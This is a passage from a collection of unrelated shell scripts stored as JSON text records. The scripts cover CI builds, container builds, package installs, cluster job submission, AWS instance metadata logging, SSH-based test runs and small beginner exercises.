'\\033[31m Docker内部应用管理,请输入 \"$\"Usage: $0 {status|start|stop|restart}\" \\033[0m'\n\texit 2\nesac"} {"text": "<gh_stars>1-10\n#!/bin/sh\n\nurl=$1\n\naws cloudsearchdomain upload-documents \\\n --documents delete.json \\\n --content-type 'application/json' \\\n --endpoint-url $url"} {"text": "#!/bin/sh\n\nlib_path=perl/lib/5.8.7/i686-linux-thread-multi/CORE\n\nenv -i \\\n PATH=/usr/bin:/bin \\\n HOME=$HOME \\\n LD_LIBRARY_PATH=$lib_path \\\n DYLD_LIBRARY_PATH=$lib_path \\\n ./perl/bin/perl -Isupport/lib support/install.pl \"$@\""} {"text": "<filename>scripts/ci.sh\n#!/bin/bash\n# inputs $1: project location\n\nset -ex\n\nsource scripts/retry.sh\n\ncd $1\n\nif grep -q 'sdk: flutter' \"./pubspec.yaml\"; then\n flutter packages get\n flutter format --set-exit-if-changed lib\n flutter analyze --no-current-package lib\n\n if [[ -d \"test\" ]]; then\n flutter format --set-exit-if-changed test\n flutter analyze --no-current-package test\n flutter test --no-pub --coverage\n fi\nelif grep -q 'angular:' \"./pubspec.yaml\"; then\n pub get\n dartfmt -w .\n dartanalyzer --fatal-infos --fatal-warnings . || EXIT_CODE=$?\n\n if [[ -d \"test\" ]]; then\n pub run build_runner test --fail-on-severe\n fi\nelse\n pub get\n dartfmt -w .\n dartanalyzer --fatal-infos --fatal-warnings . || EXIT_CODE=$?\n\n if [[ -d \"test\" ]]; then\n retry pub run test_coverage\n fi\nfi\n\ncd -"} {"text": "#!/bin/sh\n\nSTATE=\"../bin/datalackey-state\"\nRUN=\"../bin/datalackey-run\"\n\ntrap cleanup 1 2 3 6 15\n\nCMDS=$(mktemp)\n\ncleanup () {\n rm -f $CMDS $$.out $$.err\n exit ${1:-0}\n}\n\nif [ $# -gt 0 ]; then\n for L in \"$@\"\n do\n echo $L > $CMDS\n done\nelse\n cat > $CMDS << EOF\n$RUN -m $STATE --stdout -f 4 state/set-print.state\n$RUN -m $STATE --stdout -f 4 state/run-exit.state\n$RUN -m $STATE --stdout -f 4 state/launch-signal.state\n$RUN -m $STATE --stdout -f 4 state/launch-terminate.state\n$RUN -m $STATE --stdout -f 4 state/launch-wait.state\n$RUN -m $STATE --stdout -f 5 state/feed-test.state\n$RUN -m $STATE --stdout -f 4 state/ruby.state\n$RUN -m $STATE --stdout -f 4 state/shell.state\n$RUN -m $STATE --stdout -f 4 state/rename-delete.state\n$RUN -m $STATE --stdout -f 4 state/assert_var.state\n$RUN -m $STATE --stdout -f 4 state/default.state\n$RUN -m $STATE --stdout -f 4 state/include-delete.state\n$RUN -m $STATE --stdout -f 4 state/include-loop.state\n$RUN -m $STATE --stdout -f 4 --warn state/include-overwrite.state\n$RUN -m $STATE --stdout -f 4 --error state/include-overwrite.state\n$RUN -m $STATE --stdout -f 4 state/file-not-found\n$RUN -m $STATE --stdout -f 4 state/bad-file\n$RUN -m $STATE --stdout -f 4 state/first-multi.state\n$RUN -m $STATE --stdout -f 4 state/include-ignore.state\n$RUN -m $STATE --stdout -f 4 state/multi.state\n$RUN -m $STATE --stdout -f 4 state/extend.state\n$RUN -m $STATE --stdout -f 4 state/extend-load.state\n$RUN -m $STATE --stdout -f 4 state/jump.state\n$RUN -m $STATE --stdout -f 4 state/stack-jump.state\n$RUN -m $STATE --stdout -f 4 state/label2signal.state\nEOF\nfi\n\nRESULTS=\"$(basename $0 .sh).res\"\nrm -f $RESULTS\n\ncat $CMDS |\nwhile read C\ndo\n B=\n for P in $C\n do\n if [ -z \"$B\" ]; then\n # Program full name substituted with basename.\n B=$(basename $P)\n elif [ \"$P\" = \"$STATE\" ]; then\n B=\"$B $(basename $P)\"\n else\n B=\"$B $P\"\n fi\n done\n echo \"####COMMAND $B\" >> $RESULTS\n $C > $$.out 2> $$.err\n R=$?\n echo \"$R $B\"\n echo \"####CODE $R\" >> $RESULTS\n echo \"####OUT\" >> $RESULTS\n cat $$.out | sed \"s#$(pwd)/##g\" | sed \"s#$(pwd)##g\" >> $RESULTS\n echo \"####ERR\" >> $RESULTS\n cat $$.err | sed \"s#$(pwd)/##g\" | sed \"s#$(pwd)##g\" >> $RESULTS\n rm -f $$.out $$.err\ndone\n\ncleanup 0"} {"text": "#!/usr/bin/env bash\n\nset -ex\n\ncd \"${HOME}/workspace\"\n. devel/setup.bash\n\nAIKIDO_DIR=\"${HOME}/workspace/src/aikido\"\n\n# For branch builds, Travis only clones that branch with a fixed depth of 50\n# commits. This means that the clone knows nothing about other Git branches or\n# tags. We fix this by deleting and re-cloning the full repository.\nrm -rf ${AIKIDO_DIR}\ngit clone \"https://github.com/${TRAVIS_REPO_SLUG}.git\" ${AIKIDO_DIR}\n\n# Organize into \"gh-pages\" directory\nmkdir -p ${TRAVIS_BUILD_DIR}/gh-pages\n\n# Initialize list of API versions\ncat <<EOF > ${TRAVIS_BUILD_DIR}/gh-pages/README.md\n## API Documentation\n\nEOF\n\nmkdir build_docs\ncd build_docs\n\nwhile read version; do\n # Add entry to list of API versions\n echo \"* [${version}](https://personalrobotics.github.io/aikido/${version}/)\" >> ${TRAVIS_BUILD_DIR}/gh-pages/README.md\n\n # Build documentation\n git -C ${AIKIDO_DIR} checkout ${version}\n rm -rf *\n cmake -DDOWNLOAD_TAGFILES=ON ${AIKIDO_DIR}\n make docs\n mv doxygen ${TRAVIS_BUILD_DIR}/gh-pages/${version}\ndone < ${TRAVIS_BUILD_DIR}/.ci/docs_versions.txt"} {"text": "<filename>eosio-project-boilerplate-simple-master/eosio_docker/contracts/example/.vscode/scripts/compile.sh\nmkdir -p build\n\ncd build\n\ncmake -G 'Unix Makefiles' -DCMAKE_BUILD_TYPE=Debug .."} {"text": "<gh_stars>0\n#!/bin/sh\n\n# yes | pacman -S --needed xorg\npacman -S --needed --noconfirm xorg\n# pacman -S --needed --noconfirm xorg-xinit\npacman -S --needed --noconfirm xterm\npacman -S --needed --noconfirm xscreensaver\n\n# yes | pacman -S --needed \\\npacman -S --needed --noconfirm \\\n\tgnome \\\n\tgnome-terminal \\\n\tgnome-control-center \\\n\tgnome-screensaver \\\n\tarc-gtk-theme \\\n\tarc-icon-theme \\\n\tgdm\n\n# yes | pacman -S --needed \\\npacman -S --needed --noconfirm \\\n\tfirefox \\\n\tthunderbird \\\n\txscreensaver \\\n\tarchlinux-wallpaper\n\n# This one does not install above?\nyes | pacman -S xorg-xinit\nyes | pacman -S gdm\n\nsystemctl enable gdm\nsystemctl enable NetworkManager"} {"text": "../common/js-cat.sh > _temp.coffee\ncoffee -c _temp.coffee\njava -jar js-compiler.jar --js _temp.js --js_output_file ../../wrangler.min.js\nrm _temp.*\necho \"Production JavaScript build complete.\""} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n\nnpm install --global yarn\nnpm --prefix 1-pure-html ci && npm --prefix 1-pure-html run build\nyarn --cwd 2-pure-spa install && yarn --cwd 2-pure-spa build\nnpm --prefix 3-ssg-gatsby ci --production=false && npm --prefix 3-ssg-gatsby run build\nnpm --prefix 4-ssr-next ci --production=false && npm --prefix 4-ssr-next run build\nnpm --prefix 5-dynamic-rendering ci --production=false && npm --prefix 5-dynamic-rendering run build\nnpm --prefix 6-sveltekit ci --production=false && npm --prefix 6-sveltekit run build\nnpm --prefix 7-astro ci --production=false && npm --prefix 7-astro run build"} {"text": "<reponame>sdr01810/archetype--container\n#!/bin/bash\n##\n\nset -e\n\nset -o pipefail\n\n##\n## core logic:\n##\n\nfor x1 in $(egrep -v '^\\s*(#|$)' Docker.image.base.tag.list || :) ; do\n\n\tx2=${x1#*/} ; x2=${x2//:/-}\n\n\t(\n\t\tfor g1 in \"${@:-default}\" ; do\n\n\t\t\txx :\n\t\t\txx make container_image_base_tag_fq=\"${x1:?}\" \"${g1:?}\"\n\t\tdone\n\n\t\techo 1>&2\n\t\techo 1>&2 \"MAKE FOR BASE TAG COMPLETE; EXIT CODE: $?\"\n\n\t) |& tee .sb.make.$(timestamp-as-file-name).base-tag.${x2:?}.tty\ndone\n\nxx :\nxx make source\n#^-- ensures primary base tag is current\n\necho 1>&2\necho 1>&2 \"MAKE FOR EACH BASE TAG COMPLETE; EXIT CODE: $?\""} {"text": "<reponame>DVS-Lab/duke-archive\n#!/bin/sh\nfor go in 1 2; do\n\tfor SUBJ in 32918 32953 32958 32976 32984 33035 33045 33064 33082 33288 33302 33135 33402 33456 33642 33732 33746 33754 33757 33771 33784 33467 33744; do\n\t\tfor RUN in 2 3 4 5 6; do\n\n\t\t\t#qsub -v EXPERIMENT=SocReward.01 prestats_1run.sh ${SUBJ} ${RUN} ${SMOOTH} ${go}\n\t\t\t#qsub -v EXPERIMENT=SocReward.01 stats_1run.sh ${SUBJ} ${RUN} ${SMOOTH} ${go} ${PERM}\n\t\t\t#qsub -v EXPERIMENT=SocReward.01 level2.sh ${SUBJ} ${SMOOTH} ${go} ${PERM}\n\t\t\t#qsub -v EXPERIMENT=Finance.01 extract_ROIs.sh ${SUBJ} ${RUN} ${SMOOTH} ${go}\n\t\t\tqsub -v EXPERIMENT=SocReward.01 melodic_1run.sh ${SUBJ} ${RUN} ${go}\n\n\t\t\tqstat > waiting\n\t\t\tNUM=`grep -c \"qw\" waiting`\n\t\t\twhile [ $NUM -gt 4 ]; do \n\t\t\t\tsleep 5\n\t\t\t\tqstat > waiting\n\t\t\t\tNUM=`grep -c \"qw\" waiting`\n\t\t\tdone\n\t\tdone\n\tdone\ndone\nrm -f waiting"} {"text": "#!/bin/sh\n\n# Example SEMP script to get msg VPN stats\n#\n#\n\n\ncurl -X GET -u $ADMIN_USER:$ADMIN_PASS $SEMP_URL/SEMP/v2/monitor/msgVpns/$VPN?select=msgVpnName,average*,data*,msgSpool*,rx*,tx*"} {"text": "<gh_stars>0\n#!/bin/bash\n\nTOPDIR=${TOPDIR:-$(git rev-parse --show-toplevel)}\nSRCDIR=${SRCDIR:-$TOPDIR/src}\nMANDIR=${MANDIR:-$TOPDIR/doc/man}\n\nAXIOMD=${AXIOMD:-$SRCDIR/axiomd}\nAXIOMCLI=${AXIOMCLI:-$SRCDIR/axiom-cli}\nAXIOMTX=${AXIOMTX:-$SRCDIR/axiom-tx}\nAXIOMQT=${AXIOMQT:-$SRCDIR/qt/axiom-qt}\n\n[ ! -x $AXIOMD ] && echo \"$AXIOMD not found or not executable.\" && exit 1\n\n# The autodetected version git tag can screw up manpage output a little bit\nBTCVER=($($AXIOMCLI --version | head -n1 | awk -F'[ -]' '{ print $6, $7 }'))\n\n# Create a footer file with copyright content.\n# This gets autodetected fine for axiomd if --version-string is not set,\n# but has different outcomes for axiom-qt and axiom-cli.\necho \"[COPYRIGHT]\" > footer.h2m\n$AXIOMD --version | sed -n '1!p' >> footer.h2m\n\nfor cmd in $AXIOMD $AXIOMCLI $AXIOMTX $AXIOMQT; do\n cmdname=\"${cmd##*/}\"\n help2man -N --version-string=${BTCVER[0]} --include=footer.h2m -o ${MANDIR}/${cmdname}.1 ${cmd}\n sed -i \"s/\\\\\\-${BTCVER[1]}//g\" ${MANDIR}/${cmdname}.1\ndone\n\nrm -f footer.h2m"} {"text": "<gh_stars>1-10\n#!/bin/bash\n\n# Copyright 2016, IBM US, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nip=\"\"\nif=$1\nuntil [[ $ip =~ [0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3} ]]; do\n /bin/sleep 1\n ip=$(\n /sbin/ifconfig $if |\n /usr/bin/awk -F'(inet add?r:| +|:)' '/inet add?r/{print $3}'\n )\ndone\n/bin/sleep 3"} {"text": "<gh_stars>0\n#!/bin/bash -x\n\n# Copyright (c) Citrix Systems Inc. \n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, \n# with or without modification, are permitted provided \n# that the following conditions are met: \n# \n# * Redistributions of source code must retain the above \n# copyright notice, this list of conditions and the \n# following disclaimer. \n# * Redistributions in binary form must reproduce the above \n# copyright notice, this list of conditions and the \n# following disclaimer in the documentation and/or other \n# materials provided with the distribution. \n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n# CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, \n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, \n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING \n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE \n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF \n# SUCH DAMAGE.\n\nset -eu\n\nsource \"$( cd -P \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )/declarations.sh\"\n\nif [ ${XS_BRANCH} = \"trunk\" ]\nthen\necho -n \"Starting tests at \"\ndate\n\nTIMEOUT=3000\n\nVIADAEMON=./myrepos/xenadmin.hg/mk/viadaemon.py\n\nADDR=10.80.239.166\nMYTESTSSH=\"ssh Administrator@$ADDR\"\nMYSCP=\"scp\"\n\n# Kill any running nunit processes.\n${MYTESTSSH} 'ps -W -s | grep nunit | cut -b-10 | xargs kill -f' || true\n${MYTESTSSH} 'rm -rf /tmp/* /cygdrive/c/Documents\\ and\\ Settings/Administrator/AppData/Roaming/Citrix/XenCenter/logs/XenCenter.log' || true\n${MYSCP} ./output/xenadmin/XenAdminTests.tgz Administrator@$ADDR:/tmp/\n\n${MYTESTSSH} 'cd /tmp && tar xzf /tmp/XenAdminTests.tgz && chmod -R 777 /tmp/Release'\n\nset +e\n$VIADAEMON $ADDR 'C:/NUnit/bin/net-2.0/nunit-console.exe /process=separate /noshadow /err=\"C:\\cygwin\\tmp\\error.nunit.log\" /timeout=40000 /output=\"C:\\cygwin\\tmp\\output.nunit.log\" /xml=\"C:\\cygwin\\tmp\\XenAdminTests.xml\" \"C:\\cygwin\\tmp\\Release\\XenAdminTests.dll\" \"/framework=net-4.0\"' &\npid=$!\n(sleep $TIMEOUT ; kill $pid 2>/dev/null ) &\nsleeperpid=$!\nwait $pid\nif [ $? = 143 ]\nthen\n echo \"Tests were terminated due to $TIMEOUT timeout.\"\nfi\nset -e\nsleeperpid2=$(ps --ppid \"$sleeperpid\" -o pid= || true)\nkill \"$sleeperpid2\" >/dev/null || true\n\n${MYSCP} \"Administrator@$ADDR:/cygdrive/c/Documents\\ and\\ Settings/Administrator/AppData/Roaming/Citrix/XenCenter/logs/XenCenter.log\" /var/www/XenCenter.log || true \n${MYSCP} Administrator@$ADDR:/tmp/XenAdminTests.xml /var/www/XenAdminTests.xml\n\ngrep 'errors=\"0\" failures=\"0\"' /var/www/XenAdminTests.xml\n\nelse\necho \"Warning: Tests skipped in this configuration.\"\nfi"} {"text": "<gh_stars>0\n#!/bin/bash\n\nREPODIR=${test_containers_builder_dir:-\"/root/src/${CANONICAL_HOSTNAME}/Juniper/contrail-test\"}\n\nsource ${REPODIR}/common.env\n\nif [[ -z \"${CONTRAIL_REGISTRY}\" ]]; then\n echo CONTRAIL_REGISTRY is not set && exit 1\nfi\n\nif [[ -z \"${CONTRAIL_REPOSITORY}\" ]]; then\n echo CONTRAIL_REPOSITORY is not set && exit 1\nfi\n\nCONTRAIL_VERSION=${CONTRAIL_VERSION:-\"dev\"}\nCONTRAIL_CONTAINER_TAG=${CONTRAIL_CONTAINER_TAG:-\"${CONTRAIL_VERSION}\"}\nopenstack_versions=${OPENSTACK_VERSIONS:-\"ocata,queens,rocky\"}\nCONTRAIL_KEEP_LOG_FILES=${CONTRAIL_KEEP_LOG_FILES:-'false'}\n\npushd ${REPODIR}\n\nfunction append_log() {\n local logfile=$1\n local always_echo=${2:-'false'}\n while read line ; do\n if [[ \"${CONTRAIL_KEEP_LOG_FILES,,}\" != 'true' || \"$always_echo\" != 'false' ]] ; then\n echo \"$line\" | tee -a $logfile\n else\n echo \"$line\" >> $logfile\n fi\n done\n}\n\nlogfile=\"./build-test-base.log\"\necho \"INFO: Build base test container\" | append_log $logfile true\n./build-container.sh base \\\n --registry-server ${CONTRAIL_REGISTRY} \\\n --tag ${CONTRAIL_CONTAINER_TAG} 2>&1 | append_log $logfile\nif [ ${PIPESTATUS[0]} -eq 0 ]; then\n echo \"INFO: Build base test container finished successfully\" | append_log $logfile true\n [[ \"${CONTRAIL_KEEP_LOG_FILES,,}\" != 'true' ]] && rm -f $logfile\nelse\n popd\n echo \"ERROR: Failed to build base test container\" | append_log $logfile true\n exit 1\nfi\n\nfunction build_for_os_version() {\n local openstack_version=$1\n local logfile=\"./build-test-${openstack_version}.log\"\n local openstack_repo_option=\"\"\n if [[ ! -z \"${OPENSTACK_REPOSITORY}\" ]]; then\n echo Using openstack repository ${OPENSTACK_REPOSITORY}/openstack-${openstack_version}\n openstack_repo_option=\"--openstack-repo ${OPENSTACK_REPOSITORY}/openstack-${openstack_version}\"\n fi\n\n echo \"INFO: Start build test container for ${openstack_version}\" | append_log $logfile true\n ./build-container.sh test \\\n --base-tag ${CONTRAIL_CONTAINER_TAG} \\\n --tag ${openstack_version}-${CONTRAIL_CONTAINER_TAG} \\\n --registry-server ${CONTRAIL_REGISTRY} \\\n --sku ${openstack_version} \\\n --contrail-repo ${CONTRAIL_REPOSITORY} \\\n ${openstack_repo_option} \\\n --post | append_log $logfile\n\n local res=${PIPESTATUS[0]}\n if [ $res -eq 0 ]; then\n echo \"INFO: Build test container for ${openstack_version} finished successfully\" | append_log $logfile true\n [[ \"${CONTRAIL_KEEP_LOG_FILES,,}\" != 'true' ]] && rm -f $logfile\n else\n echo \"ERROR: Faild to build test container for ${openstack_version}\" | append_log $logfile true\n fi\n return $res\n}\n\ndeclare -A jobs\nfor openstack_version in ${openstack_versions//,/ } ; do\n build_for_os_version $openstack_version &\n jobs+=( [$openstack_version]=$! )\ndone\n\nres=0\nfor openstack_version in ${openstack_versions//,/ } ; do\n if (( res != 0 )) ; then\n # kill other jobs because previous is failed\n kill %${jobs[$openstack_version]}\n fi\n if ! wait ${jobs[$openstack_version]} ; then\n res=1\n fi\ndone\n\npopd\n\nexit $res"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n\ndocker stop docker_kafka_dev"} {"text": "#!/usr/bin/env bash\n\nnohup webpack --watch --progress --config=webpack.host.js"} {"text": "<filename>build/third-party/elasticsearch-2.4/docker-entrypoint.sh<gh_stars>1-10\n#!/bin/bash\n\nset -e\n\nif [ \"${1:0:1}\" = '-' ]; then\n\tset -- elasticsearch \"$@\"\nfi\n\nif [ \"$1\" = 'elasticsearch' -a \"$(id -u)\" = '0' ]; then\n\tfor path in \\\n\t\t/usr/share/elasticsearch/data \\\n\t\t/usr/share/elasticsearch/logs \\\n\t; do\n\t\tchown -R elasticsearch:elasticsearch \"$path\"\n\tdone\n\t\n\tset -- gosu elasticsearch \"$@\"\nfi\n\nexec \"$@\""} {"text": "<reponame>reedia/dotfiles\n#!/bin/zsh\n#\n# ____ _ _____ _ _\n# | _ \\ ___ | |_| ___(_) | ___ ___\n# | | | |/ _ \\| __| |_ | | |/ _ \\/ __|\n# | |_| | (_) | |_| _| | | | __/\\__ \\\n# |____/ \\___/ \\__|_| |_|_|\\___||___/\n#\n# DotFiles v0.2.449\n# https://dotfiles.io\n#\n# Description: Mac OS X Dotfiles - Simply designed to fit your shell life.\n#\n# Copyright (c) <NAME> 2022. All rights reserved\n# Licensed under the MIT license\n#\n\n\n# httpdebug: Function to download a web page and show info on what took time\nfunction httpdebug() { /usr/bin/curl \"$@\" -o /dev/null -w \"dns: %{time_namelookup} connect: %{time_connect} pretransfer: %{time_pretransfer} starttransfer: %{time_starttransfer} total: %{time_total}\\\\n\"; }"} {"text": "<gh_stars>0\n#!/bin/bash\n\n## THIS IS SUPPOSED TO RUN INSIDE THE CONTAINER\n\nset -e\n\nln -s buck_imports/buckconfig .buckconfig\nbuck fetch deps/...\nbuck build aar sample\n\nAAR=$(buck targets --show-output aar |& tail -n 1 | cut -f2 -d' ')\nAPK=$(buck targets --show-output sample |& tail -n 1 | cut -f2 -d' ')\n\nOUT=\"/out\"\nmkdir -p \"$OUT\"\ncp \"$AAR\" \"$OUT\"/build.aar\ncp \"$APK\" \"$OUT\"/sample.apk"} {"text": "#!/usr/bin/env bash\nset -ex\n\n# Install CLI & Dev Tools\necho \"Installing azure-cli-dev-tools and azure-cli...\"\ngit clone --single-branch -b dev https://github.com/Azure/azure-cli.git ../azure-cli\n\npip install azdev\nazdev setup -c ../azure-cli\n\necho \"Installed.\"\naz --version\nset +x\n\n# check for index updates\nmodified_extensions=$(python ./scripts/ci/index_changes.py)\necho \"Found the following modified extension entries:\"\necho \"$modified_extensions\"\n\n# run linter on each modified extension entry\nwhile read line; do\n if [ -z \"$line\" ]; then\n continue\n fi\n part_array=($line)\n ext=${part_array[0]}\n source=${part_array[1]}\n echo\n echo \"New index entries detected for extension:\" $ext\n echo \"Adding latest entry from source:\" $source\n\n az extension add -s $source -y\n\n # TODO migrate to public azdev\n echo \"Load all commands...\"\n# azdev verify load-all\n\n # TODO migrate to public azdev\n echo \"Running linter...\"\n# azdev cli-lint --ci --extensions $ext\n\n az extension remove -n $ext\n\n echo $ext \"extension has been removed.\"\ndone <<< \"$modified_extensions\"\n\necho \"OK. Completed Verification of Modified Extensions.\""} {"text": "<filename>luis_learning_data/output.sh\n#!/bin/sh\n# 整形\npython3 export_schema.py -> output.json\n\n# utf-8へ変換\n# nkf -w --overwrite output.json\n\necho 'OK'"} {"text": "#!/bin/bash \n\nwhile true; do echo `date`; sleep 30; done"} {"text": "#!/bin/bash\nread -p \"Enter a number: \" num1\nread -p \"Enter another number: \" num2\n\nif [ $num1 == $num2 ]\nthen\necho \"Numbers are equal\"\nelse\necho \"Numbers are not equal\"\nfi"} {"text": "<reponame>riankashyap/iplay\nfor f in *.*; do ffmpeg -i \"$f\" -vn -b:a 128K -c:a copy -threads 8 \"../mp3/${f%.ogg}.ogg\" && mv \"$f\" \"../done/$f\"; done\n\n#for f in *.*; do ffmpeg -i \"$f\" -vn -b:a 128K -c:a copy -threads 8 \"../mp3/$f\" >> log.txt && mv \"$f\" \"../done/$f\"; done"} {"text": "#!/bin/bash\necho \"Please enter a number:\"\nread num\n\nif (( $num%3==0 )) && (( $num%2==0 ));\nthen echo \"Hello\"\nelif (( $num%3==0 )) || (( $num%2==0 ));\nthen echo \"Nihao\"\nelse echo \"Hola\"\nfi"} {"text": "#!/bin/bash\n\nset -ex\n\nyum install -y wget\n\nfunction create_dynamo_document () {\n INSTANCE_ID=$1\n AVAILABILITY_ZONE=$2\n INSTANCE_TYPE=$3\n FILENAME=\"Upload_$1.json\"\n printf '{\"MachineID\": {\"S\": \"%s\"}, \"AvailabilityZone\": {\"S\": \"%s\"}, \"InstanceType\": {\"S\": \"%s\"}}\\n' \"$INSTANCE_ID\" \"$AVAILABILITY_ZONE\" \"$INSTANCE_TYPE\" > $FILENAME\n aws dynamodb put-item \\\n --region $AWS_REGION \\\n --table-name ${SYSTEM_NAME}-MachineState \\\n --item file://$FILENAME\n}\n\nINSTANCE_ID=$(wget -q -O - http://169.254.169.254/latest/meta-data/instance-id)\nAVAILABILITY_ZONE=$(wget -q -O - http://169.254.169.254/latest/meta-data/placement/availability-zone)\nINSTANCE_TYPE=$(wget -q -O - http://169.254.169.254/latest/meta-data/instance-type)\nexport AWS_REGION=$(wget -q -O - http://169.254.169.254/latest/meta-data/placement/region)\n\ncreate_dynamo_document \"$INSTANCE_ID\" \"$AVAILABILITY_ZONE\" \"$INSTANCE_TYPE\""} {"text": "<filename>ComputeProvider/update_providers.sh\nssh ubuntu@192.168.23.17\ncd MSc_Research_Providers\ngit pull origin master\nexit\n\nssh ubuntu@192.168.23.11\ncd MSc_Research_Providers\ngit pull origin master\nexit\n\nssh ubuntu@192.168.23.21\ncd MSc_Research_Providers\ngit pull origin master\nexit\n\nssh ubuntu@192.168.23.13\ncd MSc_Research_Providers\ngit pull origin master\nexit"} {"text": "g++ -c Solution.cpp -std=c++11 -o Solution \ng++ -o solutions -std=c++11 solutions.cpp Solution\n./solutions"} {"text": "#!/bin/sh\nextra=\"\"\n\nif [ \"\" != \"${BRIGADE_REPO_KEY}\" ]; then\n KEY=\"./id_dsa\"\n printf \"%s\" \"$BRIGADE_REPO_KEY\" | sed 's/\\$/\\n/g' > $KEY\n\n# checking for presence of the ssh certificate\n# see https://github.blog/2019-08-14-ssh-certificate-authentication-for-github-enterprise-cloud/ for more details\n if [ \"\" != \"${BRIGADE_REPO_SSH_CERT}\" ]; then\n CERT=\"./id_dsa-cert.pub\"\n printf \"%s\" \"$BRIGADE_REPO_SSH_CERT\" | sed 's/\\$/\\n/g' > $CERT\n fi\n\n chmod 600 id_dsa*\n\n extra=\"-i $KEY -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\"\nfi\n\nssh $extra $@"} {"text": "#!/bin/bash\n\nprintf \"{\\\"data\\\":[\"\n\nfor config in `ls /etc/memcached/*`; do\n\t. ${config} \n\tprintf \"{\\\"{#IP_ADDR}\\\":\\\"%s\\\",\\\"{#PORT}\\\":\\\"%s\\\"},\" ${IP_ADDR} ${PORT}\ndone\n\nprintf \"]}\""} {"text": "<reponame>VivekMaran27/How-to-install-SimpleScalar-on-Ubuntu\nSCRIPT_NAME=aout\nOUTPUT_FORMAT=\"a.out-hp300bsd\"\nTEXT_START_ADDR=0\nPAGE_SIZE=4096\nARCH=m68k"} {"text": "#!/bin/bash\n\nset -eu\n\n# Saves docker host docker group GID to file in order to allow jenkins spawning sibling containers\n\n# Save docker group GID to .env\ndocker_gid=$(cut -d: -f3 < <(getent group docker))\nsed -i \"/^HOST_GID/s/=.*$/=$docker_gid/\" .env"} {"text": "<reponame>NullVoxPopuli/aeonvera-ui<filename>scripts/test.sh<gh_stars>1-10\n#!/bin/sh\nset -x\n\n# docker-compose -f docker-compose.test.yml rm --all -f\ndocker-compose -f docker-compose.test.ci.yml build\ndocker-compose -f docker-compose.test.ci.yml run --rm test-server bash -c \"\\\n yarn install && bower install && \\\n ember test --server --test-port 4310 --line-reload-port 4311\\\n \""} {"text": "#!/bin/bash\n\nSCRIPT_DIR=\"$( cd \"$( dirname \"$0\" )\" && pwd )\"\n\npsql -U postgres -c \"drop database if exists pushkin\"\npsql -U postgres -c \"drop user if exists pushkin\"\npsql -U postgres -c \"create database pushkin\"\npsql -U postgres -c \"create user pushkin with password '<PASSWORD>'\"\npsql -U postgres -c \"alter database pushkin owner to pushkin\"\npsql -U postgres -d pushkin -c \"CREATE EXTENSION HSTORE\"\n\nbash $SCRIPT_DIR/pushkin/database/db_create.sh"} {"text": "#!/bin/bash\n\n#Plot LDOS in TBTKResults.h5, using gaussian smoothing with sigma=0.15\nTBTKPlotLDOS.py TBTKResults.h5 0.15"} {"text": "<gh_stars>10-100\n#!/usr/bin/env bash\n\nfile=\"$_TESTDIR/func/test-job-function-basic.sh\"\nif [ -f \"$file\" ]; then\n . \"$file\"\nelse\n echo \"No $file found.\"\n exit 1\nfi\n\n[ \"$IMPORT_BASIC\" != \"true\" ] && echo \"Please import the basic job function script 'test-job-function-basic.sh'\" && exit 1\n\n_test_mpi_start()\n{\n MPI_NOACK_TAG='no msg recvd from mpd when expecting ack of request'\n\n startLine=$1\n startLine=$((startLine+1))\n isNoAck=`sed -n \"${startLine},$\"p ${LOG_NAME} | grep \"${MPI_NOACK_TAG}\"`\n if [ \"$isNoAck\" != \"\" ]\n then\n echo 1\n else\n echo 0\n fi\n}\n\n_check_mpi_start()\n{\n startLine=$1\n PId=$2\n chk_cnt=3\n while [ \"$chk_cnt\" != \"0\" ]\n do\n if [ \"`_test_mpi_start $startLine`\" = \"1\" ]\n then\n kill $PId\n for mpid in `jps | grep MPI_D | awk '{print $1}'`;do kill $mpid;done\n kill $PId\n echo 1\n break\n else\n sleep 2\n fi\n chk_cnt=$((chk_cnt - 1))\n done\n echo 0\n}\n\n## DataMPI jobs\n_do_mpid_func()\n{\n # need set TARGET_PATH, SOURCE_PATH, JOB_NAME, HADOOP_HOME, LOG_NAME, REPORT_NAME\n# del_data ${TARGET_PATH}\n isSrcExist=`${HADOOP_HOME}/bin/hadoop fs -ls ${SOURCE_PATH}`\n if [ \"$isSrcExist\" = \"\" ]\n then\n echo \"[FAIL] DataMPI $JOB_NAME `basename $SOURCE_PATH` MAPS $MAPS REDUCES $REDS. Doesn't have $SOURCE_PATH\" | tee -a $REPORT_NAME\n return 1\n fi\n\n i=1\n for((;i!=0;i--)){\n [ ! -f \"${LOG_NAME}\" ] && touch ${LOG_NAME}\n startLine=`wc -l \"$LOG_NAME\" | awk '{print $1}'`\n echo ${cmd} | tee -a ${LOG_NAME}\n\t\tt1=`date +%s`\n\t\tcase ${cmd} in\n\t\t\t\"f_pagerank\")\n\t\t\trun_pagerank 